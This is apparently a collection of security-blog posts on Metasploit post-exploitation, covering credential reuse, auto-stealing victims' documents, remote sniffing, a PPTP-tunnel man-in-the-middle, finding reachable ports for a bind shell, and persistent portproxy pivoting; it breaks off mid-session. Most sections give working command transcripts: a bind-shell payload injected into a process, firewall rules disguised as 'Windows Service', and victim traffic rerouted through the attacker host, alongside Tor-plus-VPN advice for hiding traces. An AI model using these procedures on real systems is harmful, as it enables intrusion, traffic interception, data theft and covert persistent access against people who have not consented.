Si abrimos el script podemos ver que admite algunos parámetros desde el datastore. Uno de estos parámetros (NMAPOTS) nos permitirá especificar el conjunto de flags con el que deseamos utilizar NMAP; en caso de no definirlo utilizará -PN -P0 -0 -sSV por defecto.

Si en lugar de utilizar NMAP, lo que queremos es utilizar el módulo auxiliar portscan con el conjunto de puertos que se definieron en la variable #{ports} (véase arriba), bastará con fijar la variable NMAP a 0 (o valor distinto de true).

Supongamos que nos encontramos en la red local 192.168.1.0/24 y queremos obtener máquinas activas así como los servicios corriendo en las mismas. Lo único que tendremos que hacer es fijar en el datastore la variable RHOSTS y los parámetros deseados. Posteriormente, para lanzar el script ejecutamos resource basic_discovery.rc:

Si miramos ahora la tabla services obtenemos lo siguiente:

Veamos otro resource script que puede resultarnos de gran ayuda. Supongamos que conseguimos algunas de las credenciales de acceso a algún servicio y queremos comprobar si las mismas son válidas para algún otro servicio de los disponibles en nuestro workspace. El script auto_cred_checker.rc reutilizará las credenciales disponibles en la tabla creds e intentará hacer logging contra alguno de los servicios previamente identificados.

…

Como se observa en el ejemplo, el script ha utilizando las credenciales añadidas a creds (user: saw, pass: saw) para intentar autenticarse contra el resto de servicios disponibles en la tabla services, encontrado así un acceso ssh a la máquina 192.168.1.34.

Durante la fase de post-explotación también podemos programar, mediante este tipo de scripts, el conjunto de acciones que queremos llevar a cabo en la equipo objetivo. Supongamos, por ejemplo, que hemos conseguido multitud de sesiones con meterpreter y queremos ejecutar las mismas órdenes en todas las sesiones. Generalmente lo que queremos conseguir son hashes, tokens, etc., así que lo único que tendríamos que hacer es modificar a nuestro gusto el script multi_post.rc y lanzarlo. Utilizando los arrays meterpreter_commands y modules_win podremos añadir y quitar las órdenes que queremos ejecutar desde meterpreter así como los módulos post en los que estamos interesados.

Lo que hará multi_post.rc es recorrer cada una de las sesiones (framework.sessions.each_key) y ejecutar las acciones definidas en ambos arrays:

Veamos un último caso. Imaginemos que necesitamos ejecutar un conjunto de acciones sobre la máquina comprometida una vez conseguimos una sesión de meterpreter. Este generalmente es el caso cuando llevamos a cabo client side attack, al no saber cuándo vamos a recibir shell (por ej. usando el browser autopwn). En el siguiente ejemplo crearemos un resource script en el que se añadirá el modulo search_dwld con el que conseguiremos los ficheros pdf y doc de la víctima. Para conseguir que se ejecute automáticamente necesitamos fijar la variable AutoRunScript a multi_console_command -rc /root/steal_pdf.rc

El script multi_console_command permitirá ejecutar múltiples comandos bien separados por comas (-cl) o bien definidos en un fichero de texto (-rc). El resultado:

Como puede verse, los resource scripts pueden ahorrarnos multitud de tiempo. Además, son sencillos de escribir, por lo que podemos crear o modificar los script disponibles según nos convenga.

La automatización de tareas desde Metasploit no se reduce únicamente a este tipo de scripts. Utilizando plugins, módulos auxiliares, haciendo uso de la Remote API, etc., es posible también automatizar multitud de acciones en función de las necesidades y de la flexibilidad que necesitemos para ello. Os recomiendo el post de HDM titulado Six Ways to Automate Metasploit donde se explica resumidamente cada una de estas opciones.

Durante la fase de post-explotación en una intrusión, tras conseguir una shell en un equipo, uno de los pasos para seguir ganando acceso a otras máquinas o dispositivos de networking es capturar tráfico. Simplemente escuchando el tráfico que pasa por dicha máquina, aunque la misma se encuentre en un entorno conmutado, puede darnos información muy útil sobre la topología de red en la que se encuentra o las posibles vulnerabilidades que podremos explotar más adelante: nombres netbios, users/passwords en claro, paquetes ARP, CDP, DHCP, HSRP, VRRP, etc.

Para capturar tráfico desde una shell, sin embargo, tendremos que hacer uso de herramientas externas que deberemos descargar y ejecutar en el equipo comprometido. Una buena elección es rawcap la cual permite capturar paquetes sin apoyarse en drivers de captura como WinPcap (librería libpcap para Windows utilizada por multitud de herramientas de análisis de tráfico).

Otra opción es utilizar Meterpreter desde donde podremos apoyarnos en módulos de captura sin necesidad de tocar disco. Meterpreter cuenta para ello con la extensión sniffer o el módulo packetrecorder de @Carlos_Perez, los cuales permiten generar y guardar en local el fichero pcap con el tráfico capturado.

Como una alternativa más a estas dos opciones, he creado un pequeño módulo (rpcapd_start) que permite activar el servicio rpcapd para poder capturar tráfico remotamente. No es extraño encontrarse con equipos de usuario, incluso servidores Windows, que tengan instalado WinPcap así que, que mejor forma de obtener tráfico que utilizando dicho servicio de forma remota. Como ventaja adicional no dependeremos de la sesión de meterpreter, ya que una vez activado, podremoscapturar tráfico con cualquier software que soporte rpcap.

La instalación de WinPcap creará un nuevo servicio llamado rpcapd aunque el mismo se encuentre inactivo por defecto.

El módulo únicamente activará rpcapd, especificando el puerto y el modo de funcionamiento (activo o pasivo). Podremos elegir también si queremos autenticación o no.

Ya que lo más probable es que el equipo esté nateado tras un router o firewall, en la práctica, el modo más útil será el activo, en donde la máquina comprometida será la que se conecte a nosotros.

Tras levantar el servicio y en el caso de utilizar una conexión pasiva (como en el ejemplo) se añadirá una nueva regla en el Firewall de Windows bajo el nombre “Windows Service” para permitir el tráfico entrante.

Posteriormente podremos conectarnos a la máquina desde cualquier herramienta que soporte rpcap y empezar a capturar tráfico.

El módulo está ya incluido en Metasploit así que bastará con actualizarlo para su descarga.

The possibilities offered by Meterpreter when developing post-exploitation modules are practically limitless. See for example the modules Imager.rb and NBDServer.rb developed by R. Wesley McGrew and presented at Defcon 19 under the title "Covert Post-Exploitation Forensics With Metasploit".

Such modules allow you to make a copy of physical volumes and logical drives on the compromised computer through the network; or mount the file system of those units on the attacker's computer as if they were another device. Not to mention the possibilities from the forensic standpoint that offer this kind of modules.

Much of this flexibility to carry all kind of tasks from a Meterpreter shell is offered by Railgun. This extension allows us to load Windows libraries in runtime and make use of its functions to have full access to the entire Windows API.

As a contribution to the list of post exploitation forensics modules I have developed a module to recover deleted files from NTFS file systems. In this way we can get not only "existing" files on the compromised computer but the "deleted" ones too (sometimes the most interesting).

The idea of the module is to go through the entries of the $MFT (Master File Table) and list the deleted files. As the files are shown, it will add an ID associated with that file, which represent the offset of the MFT entry of that file on disk (the number of logical bytes from which that entry is located). If you want to retrieve a particular file you have to specify the variable FILES with that ID. Thus the module could read the corresponding entry to extract each of the dataruns associated with that file. If the file is resident its content will be extracted from the $MFT itself. Here's an example of its use:

As we see, if we do not specify the variable FILES, the module will list only deleted files. Later, to retrieve the desired files we have to specify their IDs in a comma separated way.

Another option to get files without specifying its ID is by extension. If we are interested only in certain types of files we can specify the desired extensions using the variable FILES. See the following example:

Keep in mind that the module extracts the content of each of the clusters associated with the file. Since the file is removed, its content may have been totally or partially overwritten, so It's likely that we get a corrupted file (which may be of interest also from a forensic standpoint).

It is also important to note that the process of listing deleted files on a large hard disk (with many entries in the MFT) can be extremely slow, in my tests about 8-10 entries per second. Because of this, with the variable TIMEOUT you can specify the number of seconds to invest in the search process.

Here I leave a How to video:

Realizando auditorías internas me he encontrado diversas ocasiones en la que consigo shell en equipos supuestamente localizados dentro de la DMZ de la organización pero de los que desconozco su exposición al exterior. Digo supuestamente, ya que, algunas de estas auditorías tienen un enfoque black-box y por tanto desconozco al completo la topología de la red así como los dispositivos y reglas de networking configuradas en la misma. Si el número de VLANs y subredes es elevado, no es trivial conocer si las máquinas comprometidas tienen acceso desde el exterior.

A veces los servicios y conexiones de la máquina (netstat -anput), ficheros de log, etc. ofrecen pistas sobre la exposición de esa máquina hacia afuera. Así, por ejemplo, si la máquina tiene un Apache corriendo en el puerto 80 y el mismo aloja la Web de la organización se deduce que la misma es alcanzable desde el exterior (algo que podemos corroborar mirando sus logs y conexiones) y que es altamente probable que dicha VLAN tenga otras máquinas con servicios públicos. Sin embargo, en otras ocasiones no es tan claro conocer este hecho. Incluso en el caso del servidor Web lo único que sabemos es que el puerto 80 está expuesto, pero, ¿y el resto de servicios?

Conocer esta información es útil si lo que queremos es dejar una bind-shell escuchando en un determinado puerto para acceder posteriormente a la máquina desde el exterior. Pero, en este caso se presentan dos dudas.

Qué IP pública hace forwarding a los servicios de dicha máquina.
Qué servicios (puertos) son alcanzables desde el exterior hacia dicha máquina.

Contestando a la primera pregunta, uno podría pensar: «fácil, haciendo una petición a servicios como ifconfig.me, icanhazip.com o similares» conseguiríamos la IP pública. Desde la propia línea de comandos podemos conseguir esto con un poco de VisualBasic (o desde Metasploit con el módulo auxiliar auxiliary/gather/external_ip).

Aunque esto es correcto, no es suficiente. Con este dato lo único que conocemos es la IP pública para el tráfico saliente (Output). Sin embargo, ¿qué tipo de NAT está llevando a cabo el router/firewall? ¿Dicha IP es estática o bien dinámica? ¿Es elegida aleatoriamente de un pool de direcciones públicas? ¿Dicha IP hace forwarding a nuestra máquina cuando se trata de tráfico entrante (Output)? ¿Está utilizando Static Inside PAT? Para hacernos una idea de las posibles configuraciones que puede ofrecer un router/firewall véase a modo de ejemplo la siguiente tabla. En ella podemos ver algunas de las configuraciones NAT que soporta un Cisco ASA:

Veamos de forma gráfica alguna de estas configuraciones.

En el gráfico anterior se ha configurado Static Inside NAT. La organización cuenta con un pool de unas 30 IPs "públicas" (imaginando que la red 10.0.0.0/24 es pública). Dos de estas IPs han sido configuradas como Static Inside NAT; configuración típica en organizaciones que necesitan acceso desde el exterior y que disponen de suficientes IPs públicas. De esta forma, para alcanzar el servidor Web desde el exterior necesitaríamos apuntar a 10.0.0.20

Veamos ahora la versión Static Inside PAT. Cuando la organización no cuenta con suficientes IPs públicas suele implementarse esta configuración al permitirnos jugar con los puertos para hacer forwarding a diversas máquinas internas. Así, una única IP pública podría redirigirnos a múltiples máquinas internas en función del puerto destino de la conexión. En la figura únicamente el servidor Web será alcanzable con peticiones a la IP externa 10.0.0.20 con puerto destino 8080.

Como vemos, debido a la cantidad de configuraciones NAT/PAT que pueden implementarse, no es trivial conocer desde qué IPs y puertos es alcanzable nuestra máquina; lo que complica nuestra idea de dejar escuchando una bind shell.

Pero incluso conociendo la IP pública, no basta con hacer un escaneo externo para nuestro propósito. Los puertos marcados como closed o filtered no sabemos si son consecuencia del filtrado del Firewall o de la propia máquina. De hecho un Firewall en condiciones debería implementar una política restrictiva (deny all) y permitir únicamente tráfico dirigido a puertos abiertos en los que corren servicios públicos, además de implementar contramedidas ante este tipo de escaneos.

Nota: Remarco lo de "abiertos" ya que en ocasiones escucho el argumento de que no pasa nada si no se "capa" un puerto en el Firewall externo si el servicio de la máquina al que va dirigido está closed. A parte de la más que evidente brecha de seguridad de dicha configuración, si se echa un ojo a vulnerabilidades como MS11-083, (en la que es posible ejecutar código mediante una serie de mensajes UDP sobre puertos closed ) podemos encontrar razones más que suficientes para tirar por tierra dicho argumento.

Continuando con nuestro objetivo y a raíz del título del post me gustaría comentar un pequeño trick que suelo utilizar para localizar tanto la IP pública de la máquina así como los puertos accesibles desde el exterior. Si bien la opción más rápida sería descargarse herramientas como rawcap y capturar paquetes a la vez que escaneamos el equipo desde el exterior (para así deducir que puertos son alcanzables y cuales no), podemos optar por una solución "menos ruidosa" con el firewall avanzado de Windows.

Lo interesante del firewall de Windows son sus capacidades de logging, al permitirnos no solo generar un log de las conexiones permitidas sino de las denegadas también (opción droppedconnections); siendo estas últimas las que nos permitirán deducir reglas de filtrado incorrectas en el Firewall.

Una vez preparado el fichero de log, únicamente necesitaríamos escanear la IP externa asociada a nuestra máquina; pero, ¿Qué IP? Si no tenemos ninguna pista sobre el tipo de NAT/PAT asociada a nuestra máquina, el único enfoque es utilizar todo el rango de IPs públicas.

Supongamos, por ejemplo, que el pool de direcciones públicas de la organización es una clase C. Nuestra máquina tiene algunos servicios abiertos y sospechamos que puede tener algún tipo de acceso desde el exterior. Para ver si es alcanzable ejecutamos el siguiente script:

Ya que el log generado por el firewall de Windows registra también el puerto origen de la conexión (o del intento de conexión) utilizaremos la opción --source-port de Nmap para conocer desde que IP pública fue alcanzado. Para ello utilizaremos como puerto origen el octeto de la IP que representa el host + 1024 (el motivo de sumarle 1024 es para evitar algunas reglas de filtrado que bloquean conexiones con puertos por debajo del 1024 en el tráfico entrante). Puede verse más claro en la siguiente captura.

Una vez finalizado el escaneo podremos comprobar que puertos fueron alcanzados así como la IP pública afectada.

En nuestro caso, podemos deducir del log que los únicos puertos alcanzables desde el exterior (al menos del rango especificado) fueron el 445 y el 3389. El recuadro rojo sería la IP pública desde la que realizamos el escaneo. Probablemente una mala praxis del administrador permitió el tráfico entrante al puerto 3389 para el acceso por terminal server a ciertas máquinas. Sin embargo, no restringió correctamente a que máquinas hacer forwarding permitiendo también la nuestra (la cual ni si quiera tiene el servicio instalado) conviertiendo dicho puerto en el candidato perfecto para nuestra bind shell.

Gracias a la opción --source-port podemos deducir también que la IP pública implicada en dicha regla de forwarding fue la X.X.X.32 (1056-1024), por lo que para acceder a nuestra shell solo necesitamos hacer un nc X.X.X.32 3389 (desactivando previamente el firewall o creando la regla oportuna).

En el caso de tener una entrada en nuestro log con un puerto destino diferente a los utilizados en nuestro script, es probable que el firewall externo esté utilizando Static Inside PAT por lo que únicamente tendríamos que ir probando cada uno de los puertos asociadas a dicha IP para conseguir la regla de forwarding. Además, es probable que tengamos que jugar con las opciones de Nmap en función del tipo de firewall implementado.

He aquí un motivo más por el que filtrar closed ports en el Firewall.
Si aun así, ninguno de estos métodos nos vale, siempre podremos usar una reverse shell.

Una de las herramientas que mencioné en el informe de Software Exploitation y de la que apenas oigo hablar cuando se referencian herramientas de protección (en concreto anti-explotación) es CrystalAEP, desarrollada por Peter Winter Smith. Personalmente suelo utilizar esta herramienta en equipos Windows para prevenir la ejecución de exploits en navegadores y ciertas aplicaciones de uso común, y en donde el AV tiene poco que hacer. De modo similar a EMET, CrystalAEP presenta multitud de opciones de protección que pueden aplicarse de forma selectiva a las aplicaciones que queramos para evitar intentos de explotación.

La interfaz de la aplicación presenta dos paneles de configuración: Basic Options desde donde podrán elegirse las aplicaciones que queramos añadir a la lista de protección; y Expert Options desde donde podremos definir en detalle que características de seguridad aplicar bien de forma genérica o por cada proceso. Son estas últimas características las que hacen realmente atractiva a la aplicación debido a la multitud de contramedidas existentes para frustar ataques de corrupción de memoria. Debido a la naturaleza de muchos exploits, este tipo de medidas podrían protegernos incluso contra cierto tipo de 0-days. Desde la pestaña de Memory Monitor podemos ver algunas de estas opciones:

Enable Process DEP
Use-After-Free Protection
Disable RWX Heap
Vary Allocation Sizes
Windows Validate Allocations

Asímismo dentro de la pestaña API Monitor nos encontramos con más mecanismos de protección relacionadas con la API de Windows como Anti-ROP Stack y Additional Anti-ROP Methods, para prevenir intentos de explotación que intenten aprovecharse de ROP gadgets con las que evadir DEP y ASLR.

Como prueba de concepto, he utilizado el exploit MS13-038 CGenericElement Object (vulnerabilidad de tipo use-after-free utilizada apenas hace unos meses para comprometer el Department of Labor) contra un Windows XP SP3 con IE8. En la imagen anterior he modificado las caracteríticas de seguridad del proceso iexplore.exe para añadir la protección frente a ataques "Use-after-free" y "Double-Free". Como vemos en la siguiente imagen, tras ingresar en la URL maliciosa, CrystalAEP mitiga el intento de explotación, clasificándolo como HighRisk y alertando del tipo de ataque.

CrystalAEP también proporciona funcionalidades de filtrado de contenido para IE (Anti-Cross-Site Scripting, validación de ficheros PNG, JPEG Y GIF, etc.). Para ver en detalle cada una de estas carácterísticas podeís consultar la guía de usuario de la herramienta. CrystalAEP es gratuita y está disponible para Windows XP, Vista y 7 (arquitecturas 32 y 64 bits).

Sin duda alguna bien EMET o CrystalAEP son una de las herramientas que junto al AV no deben faltar hoy en día en una máquina Windows.

Recently I made a small post-exploitation module to take advantage of the rasdialWindows client. The idea is to create an outbound VPN connection (pptp) from the "victim" machine to a VPN server configured in the "attacker" machine. Once the pptp tunnel is created we can forward all victim traffic through the tunnel getting a man-in-the-middle attack.

To get this we have to create a temporal .pbk (phonebook file) with certain parameters and force the rasdial client to use that file. The most important parameter to get the MITM is IpPrioritizeRemote. This option allows rasdial to set a new default route pointing to the new VPN peer IP of the attacker host. This new default GW will have a better metric to the default one so this way we will get that all outbound traffic to internet or to an unknown network will go through our machine. Obviously we need to configure forwarding and masquerading to get a real MITM, which can be easily done with IPTABLES. To make the tests I have used the pptpd package as VPN server from Debian. The simplest configuration is:

ATTACKER MACHINE

root@Mordor:~# tail -2 /etc/pptpd.conf

localip 192.168.0.1

remoteip 192.168.0.234-238

root@Mordor:~# tail -1 /etc/ppp/chap-secrets

msf*m3taSpl01t*

root@Mordor:~# /etc/init.d/pptpd restart && netstat -putan | grep 1723

Restarting PPTP:

Stopping PPTP: pptpd.

Starting PPTP Daemon: pptpd.

tcp 0 0 0.0.0.0:1723 0.0.0.0:* LISTEN 22027/pptpd

root@Mordor:~# iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE

root@Mordor:~# iptables -A FORWARD -i ppp0 -o wlan0 -j ACCEPT

root@Mordor:~# iptables -A FORWARD -i wlan0 -o ppp0 -m state --state ESTABLISHED,RELATED -j ACCEPT

root@Mordor:~# echo 1 > /proc/sys/net/ipv4/ip_forward

root@Mordor:~# ifconfig wlan0 | grep 82

inet addr:192.168.1.82 Bcast:192.168.1.255 Mask:255.255.255.0

root@Mordor:~# route -n

Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface

192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 wlan0

0.0.0.0 192.168.1.1 0.0.0.0 UG 0 0 0 wlan0

VICTIM MACHINE

C:\Documents and Settings\Peregrino>ipconfig

Configuración IP de Windows

Adaptador Ethernet Conexiones de red inalámbricas :

Sufijo de conexión específica DNS :

Dirección IP. . . . . . . . . . . : 192.168.1.131

Máscara de subred . . . . . . . . : 255.255.255.0

Puerta de enlace predeterminada : 192.168.1.1

C:\Documents and Settings\Peregrino>route PRINT

===========================================================================

Rutas activas:

Destino de red Máscara de red Puerta de acceso Interfaz Métrica

0.0.0.0 0.0.0.0 192.168.1.1 192.168.1.131 25

127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1

192.168.1.0 255.255.255.0 192.168.1.131 192.168.1.131 25

192.168.1.131 255.255.255.255 127.0.0.1 127.0.0.1 25

192.168.1.255 255.255.255.255 192.168.1.131 192.168.1.131 25

...

PPTP uses a TCP port as control channel and GRE to send encapsulated data so port 53 and 1723 must be reachable. Take this into account if you use it over WAN.

With this configuration you only need to run the module with the previous parameters (username and password):

msf post(pptp_tunnel) > set PASSWORD M3taSpl01t

PASSWORD => M3taSpl01t

msf post(pptp_tunnel) > set USERNAME bmerino

USERNAME => bmerino

msf post(pptp_tunnel) > set RHOST 192.168.1.82

RHOST => 192.168.1.82

msf post(pptp_tunnel) > set session 1

session => 1

msf post(pptp_tunnel) > run

[+] PhoneBook configuration written to C:\DOCUME~1\PEREGR~1\CONFIG~1\Temp\UotYzylPVA.pbk

[*] 60

[*] Establishing connection ...

[+] Connection Successful

[*] Phonebook deleted

[*] Post module execution completed

Once the tunnel has been created we can see the new interface in our evil host:

root@Mordor:~# ifconfig ppp0 | grep Link -A 1

ppp0 Link encap:Point-to-Point Protocol

inet addr:192.168.0.1 P-t-P:192.168.0.234 Mask:255.255.255.255

And we can see the new interface and the new route in the victim machine:

C:\Documents and Settings\Peregrino>ipconfig

Configuración IP de Windows

Adaptador Ethernet Conexiones de red inalámbricas :

Sufijo de conexión específica DNS :

Dirección IP. . . . . . . . . . . : 192.168.1.131

Máscara de subred . . . . . . . . : 255.255.255.0

Puerta de enlace predeterminada : 192.168.1.1

Adaptador PPP {34B7C931-D079-4817-8B5D-93A3C8CE6890} :

Sufijo de conexión específica DNS :

Dirección IP. . . . . . . . . . . : 192.168.0.234

Máscara de subred . . . . . . . . : 255.255.255.255

Puerta de enlace predeterminada : 192.168.0.234

C:\Documents and Settings\Peregrino>route PRINT

===========================================================================

Rutas activas:

Destino de red Máscara de red Puerta de acceso Interfaz Métrica

0.0.0.0 0.0.0.0 192.168.0.234 192.168.0.234 1

0.0.0.0 0.0.0.0 192.168.1.1 192.168.1.131 26

127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1

192.168.0.234 255.255.255.255 127.0.0.1 127.0.0.1 50

192.168.0.255 255.255.255.255 192.168.0.234 192.168.0.234 50

192.168.1.0 255.255.255.0 192.168.1.131 192.168.1.131 25

192.168.1.82 255.255.255.255 192.168.1.131 192.168.1.131 25

...

The new default route has a metric of 1 and is pointing to the recently VPN interface. Now, if we leave tshark running in our wlan0 interface we could see all the outbound traffic of that host:

C:\Documents and Settings\Peregrino>ping www.metasploit.com

Haciendo ping a www.metasploit.com [208.118.237.137] con 32 bytes de datos:
Respuesta desde 208.118.237.137: bytes=32 tiempo=171ms TTL=47
Respuesta desde 208.118.237.137: bytes=32 tiempo=175ms TTL=47
...

root@Mordor:~# tshark -i wlan0 -R icmp

Capturing on wlan0

8.833077 192.168.1.82 -> 208.118.237.137 ICMP Echo (ping) request

8.993497 208.118.237.137 -> 192.168.1.82 ICMP Echo (ping) reply

9.837086 192.168.1.82 -> 208.118.237.137 ICMP Echo (ping) request

9.999374 208.118.237.137 -> 192.168.1.82 ICMP Echo (ping) reply

10.837070 192.168.1.82 -> 208.118.237.137 ICMP Echo (ping) request

10.992455 208.118.237.137 -> 192.168.1.82 ICMP Echo (ping) reply

Here I leave a How-to video:

Without going into the reasons why one wants remain anonymous (personally I have some good reasons and these are growing every day) I would like to comment how to add an additional layer of anonymity to the Tor network. Basically the idea is to use a second VPN which is tunneled through TOR. This is nothing new, you can read the combinations of Tor +(VPN, SSH, proxys) in Tor Wiki.

What do you get with this? Perhaps the most important benefit is to avoid possible exit nodes compromised in addition to get more nodes to jump through. Note that with this configuration an exit-node won't be able to sniff traffic since it will be encrypted by the 2nd VPN (which can be totally under your control). Note also that the connection to the second VPN comes from a Tor node; this way, by using a chain of two differents VPN, the traceability of the connections will be much more complex. Another advantage is that we can use the Tor infrastructure to connect to networks that filter exit nodes.

The image above represents this scenario; however you can play with differents VPNs, proxys, etc.; for instance, you can link a mix cascade from JonDonym with TOR getting a bigger number of nodes to pivot, or use a VPS with your own VPN server, etc.

Here I leave a simple way to configure this. In our case we wil use our host (Debian Wheezy) as a transparent TOR proxy (you can view this settings in detail from torproject)

root@mordor:~#curl -s http://check.torproject.org | grep -i 'sorry\|congratulations'

<br><h1 style="color: #A00">Sorry. You are not using Tor.<br>

root@mordor:~# tail -4 /etc/tor/torrc

VirtualAddrNetwork 10.192.0.0/10

AutomapHostsOnResolve 1

TransPort 9040

DNSPort 53

root@mordor:~# ps aux | grep ^109

109 1971 0.3 0.6 23976 21196 ? S 12:30 0:02 /usr/sbin/tor

root@mordor:~# cat /etc/resolv.conf

nameserver 127.0.0.1

root@mordor:~# netstat -putan | grep 1:53

udp 0 0 127.0.0.1:53 0.0.0.0:* 1971/tor

root@mordor:~# cat force-tor.sh

#!/bin/sh

NON_TOR="192.168.0.0/16"

TOR_UID="109"

TRANS_PORT="9040"

iptables -F

iptables -t nat -F

iptables -t nat -A OUTPUT -m owner --uid-owner $TOR_UID -j RETURN

iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-ports 53

for NET in $NON_TOR 127.0.0.0/9 127.128.0.0/10; do

iptables -t nat -A OUTPUT -d $NET -j RETURN

done

iptables -t nat -A OUTPUT -p tcp --syn -j REDIRECT --to-ports $TRANS_PORT

iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

for NET in $NON_TOR 127.0.0.0/8; do

iptables -A OUTPUT -d $NET -j ACCEPT

done

iptables -A OUTPUT -m owner --uid-owner $TOR_UID -j ACCEPT

iptables -A OUTPUT -j REJECT

root@mordor:~# ./force-tor.sh

root@mordor:~# curl -s http://check.torproject.org | grep -i 'sorry\|congratulations'

Congratulations. Your browser is configured to use Tor.<br>

Once the native machine is configured as a proxy, open the virtual machine from which you willl configure the second VPN (Kali in the example). To get this be sure to configure the network adapter as NAT.

Check that Virtuabox gives you a private IP and that you get a external IP from a exit TOR node.

Finally we create the second VPN connection. Since TOR does not accept UDP traffic you will have to use a VPN server that supports TCP. Some VPN services allow both protocols so be sure to change it in the .conf file.

Now the question is, if I can not manage my own SSH/VPN server what public VPN service could I use? TorrentFreak recently published a post titled "VPN Services That Take Your Anonymity Seriously, 2013 Edition" which supposedly showed the best anonymous VPN services. Personally I do not trust most of them. Take a look at cases like HideMyAss to draw your own conclusions. In addition many of these services does not accept anonymous payment methods so ...

There are easy to find anonymous VPN services that accept Ukash, bitcoins, etc.. and don't even ask you for an email account, just a username and password. However, as mentioned before you own VPN server will be the best option.

This week Rapid7announced the addition of Metamodules in Metasploit Pro v4.7. One of these modules, "Egress Firewall Testing", allows you to deduce outbound filtering rules from firewalls/routers. No doubt this functionality is really useful for example if we want to leave a reverse shell pointing to our machine. To get this, the metamodule "contacts to Rapid7-hosted server to test open ports and delivers the results in one easy report".

This module reminds me a little trick I usually do to get just the opposite, that is, to infer ingress firewall rules. In fact, this post could be the second part of the recent "Donde dejo mi bind shell" (spanish) but this time, with the advantage of Metasploit.

As I said in that post, by knowing what ports are reachabled from the victim host we can infer inbound filtering rules like Static Inside NAT/PAT, ACLs, etc. implemented in firewalls/routers; information really valuable if you plan to spawn a bind shell. Let'see this case.

We got a Meterpreter shell and we want to run a bind shell. If we launch nmap from outside we see that all ports are filtered or closed (except the ones opened). So, where do we leave the shell? are those ports filtered by the external firewall or maybe by a local FW software? At first I thought of making a post-exploitation module to play with the windows firewall logging (netsh advfirewall>set allprofiles logging droppedconnections enable) but later I realized that it would be better and easier if I use packetrecorder. So to know what packets are exposed to outside, we run:

meterpreter >run packetrecorder -i 2 -t 60
[*] Starting Packet capture on interface 2
[+] Packet capture started
[*] Packets being saved in to /root/.msf4/logs/scripts/packetrecorder/USER-PC_20130720.1626/USER-PC_20130720.1626.cap
[*] Packet capture interval is 60 Seconds

and launch the scan again:

root@gotham:~# nmap -sS -p 21,23,100-200,3389,8080 192.168.1.41 -PN

Starting Nmap 6.00 ( http://nmap.org ) at 2013-07-20 16:02 CEST
Nmap scan report for 192.168.1.41
Host is up (0.00055s latency).
All 105 scanned ports on 192.168.1.41 are filtered
MAC Address: 08:00:27:6D:E7:88 (Cadmus Computer Systems)

With the .cap file, let's show now the reachabled ports:

root@gotham:~/.msf4/logs/scripts/packetrecorder/USER-PC_20130720.1626# tshark -r USER-PC_20130720.1626.cap -R "ip.src == 192.168.1.65" -T fields -e tcp.dstport | sort -u

21
3389
110
8080

Nice, we know now that the filter to those ports comes from the Windows Firewall, and not from the external router/firewall. We just need to allow that port and run the bind shell:

meterpreter >shell
Process 2888 created.
Channel 1 created.
Microsoft Windows [Versi�n 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\User\Desktop>netsh advfirewall firewall add rule name="Windows Service" dir=in action=allow protocol=TCP localport=8080
netsh advfirewall firewall add rule name="Windows Service" dir=in action=allow protocol=TCP localport=8080
Aceptar

C:\Users\User\Desktop>exit

meterpreter > run post/windows/manage/payload_inject PAYLOAD=windows/shell_bind_tcp LPORT=8080 LHOST=192.168.1.41

[*] Running module against USER-PC
[*] Performing Architecture Check
[*] Process found checking Architecture
[+] Process is the same architecture as the payload
[*] Injecting Windows Command Shell, Bind TCP Inline into process ID 3456
[*] Opening process 3456
[*] Generating payload
[*] Allocating memory in procees 3456
[*] Allocated memory at address 0x003d0000, for 341 byte stager
[*] Writing the stager into memory...
[+] Successfully injected payload in to process: 3456

meterpreter > netstat -h

Connection list
===============

Proto Local address Remote address State User Inode PID/Program name
----- ------------- -------------- ----- ---- ----- ----------------
tcp 0.0.0.0:135 0.0.0.0:* LISTEN 0 0 700/svchost.exe
tcp 0.0.0.0:445 0.0.0.0:* LISTEN 0 0 4/System

tcp 0.0.0.0:8080 0.0.0.0:* LISTEN 0 0 3456/notepad.exe

meterpreter > exit -y

[*] Shutting down Meterpreter...

[*] 192.168.1.41 - Meterpreter session 1 closed. Reason: User exit

msf post(payload_inject) > exit

root@gotham:~# nc 192.168.1.41 8080
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\usuario\Escritorio>

Portfwd is a well known feature to allow us to do port forwarding from our Meterpreter session. I think it goes without saying all the possibilities it provides. However, since this feature is part of Meterpreter (running directly from memory), once we exit our session we could not make use of it.

For this reason I made a little post-exploitation module that lets me configure forwarding rules persistently. Thus once I exit my shell I could use the compromised machine as a proxy and I won't have to worry about getting a meterpreter shell to pivot to other hosts. To do this, the script uses the portproxy interface from netsh to set up a port forwarding rule. Then it enables the given local port in the firewall to allow the inbound TCP connection. Although it's more noisier than Portfwd I think it may be useful in some scenarios.

In the following example we'll use two compromised hosts with Meterpreter as a chain of proxies to connect to the web server 192.168.1.35.

msf post(portproxy) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 KRYPTON\Peregrino @ KRYPTON 192.168.1.82:4444 -> 192.168.1.131:1516 (192.168.1.131)
3 meterpreter x86/win32 MORDOR\Test @ MORDOR 192.168.1.82:4444 -> 192.168.1.104:1040 (192.168.1.104)

msf post(portproxy) > set session 3
session => 3
msf post(portproxy) > set local_port 9001
local_port => 9001
msf post(portproxy) > set local_address 0.0.0.0
local_address => 0.0.0.0
msf post(portproxy) > set connect_port 9002
connect_port => 9002
msf post(portproxy) > set connect_address 192.168.1.131
connect_address => 192.168.1.131
msf post(portproxy) > run

[*] IPv6 is already installed.
[*] Setting PortProxy ...
[+] PortProxy added.
[*] Port Forwarding Table
=====================

LOCAL IP LOCAL PORT REMOTE IP REMOTE PORT
-------- ---------- --------- -----------
0.0.0.0 6543 192.168.1.82 8888
0.0.0.0 8888 192.168.1.65 5555
0.0.0.0 9001 192.168.1.131 9002

[*] Setting port 9001 in Windows Firewall ...
[+] Port opened in Windows Firewall.
[*] Post module execution completed
msf post(portproxy) > set session 1
session => 1
msf post(portproxy) > set local_port 9002
local_port => 9002
msf post(portproxy) > set local_address 0.0.0.0
local_address => 0.0.0.0
